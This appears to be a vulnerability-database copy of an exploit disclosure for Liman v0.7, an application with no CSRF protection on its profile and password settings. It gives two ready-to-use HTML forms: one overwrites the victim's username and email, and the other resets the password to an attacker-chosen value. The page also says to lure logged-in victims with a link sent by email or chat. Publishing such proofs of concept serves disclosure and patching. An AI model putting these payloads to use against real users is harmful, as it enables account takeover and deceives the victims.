Liman 0.7 Cross Site Request Forgery

🗓️ 07 Oct 2020 00:00:00Reported by George TsimpidasType

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Liman v0.7 Cross Site Request Forgery vulnerability in account settings and password chang

`# Exploit Title: Liman v0.7 - Cross-Site Request Forgery (CSRF))  
# Date: 27-03-2018  
# Exploit Author: George Tsimpidas  
# Software Link : https://github.com/salihciftci/liman/releases/tag/v0.7  
# Version: 0.7  
# Tested on: 18.04.5 LTS (Bionic Beaver)  
# Category: Webapp  
  
  
1. Description:-  
  
There is no CSRF protection in Liman application, with a little help  
of social engineering (like sending a link via email/chat) an attacker may  
force the victim to click on a malicious link, with the purpose of  
manipulating his current account information, or changing entirely his  
password.  
  
Vulnerable Endpoints :  
  
- *http://127.0.0.1:5000/settings/profile  
<http://127.0.0.1:5000/settings/profile>*  
- *http://127.0.0.1:5000/settings/password  
<http://127.0.0.1:5000/settings/password>*  
  
*Proof of Concept*  
  
  
  
1.  
  
Download the application, make an account and login inside the panel  
under : http://127.0.0.1:5000 expose the docker port on 5000.  
  
2.  
  
Save this .html files and send it to victim (Victim should be  
loggedin in the browser)  
  
Crafted value will be added.  
  
Account Information CSRF :  
  
<html>  
<body>  
  
<script>history.pushState('', '', '/')</script>  
<form action="http://127.0.0.1:5000/settings/profile" method="POST">  
<input type="hidden" name="username" value="betatest" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="submit" value="TakeOver Account Settings" />  
  
</body>  
</html>  
  
  
Password Change CSRF :  
  
<html>  
<body>  
  
<script>history.pushState('', '', '/')</script>  
<form action="http://127.0.0.1:5000/settings/password" method="POST">  
<input type="hidden" name="password" value="takeover" />  
<input type="hidden" name="newPassword" value="takeover" />  
<input type="hidden" name="confirmPassword" value="takeover" />  
<input type="submit" value="Password TakeOver" />  
  
  
  
</body>  
</html>  
`

07 Oct 2020 00:00Current

0.6Low risk

Vulners AI Score0.6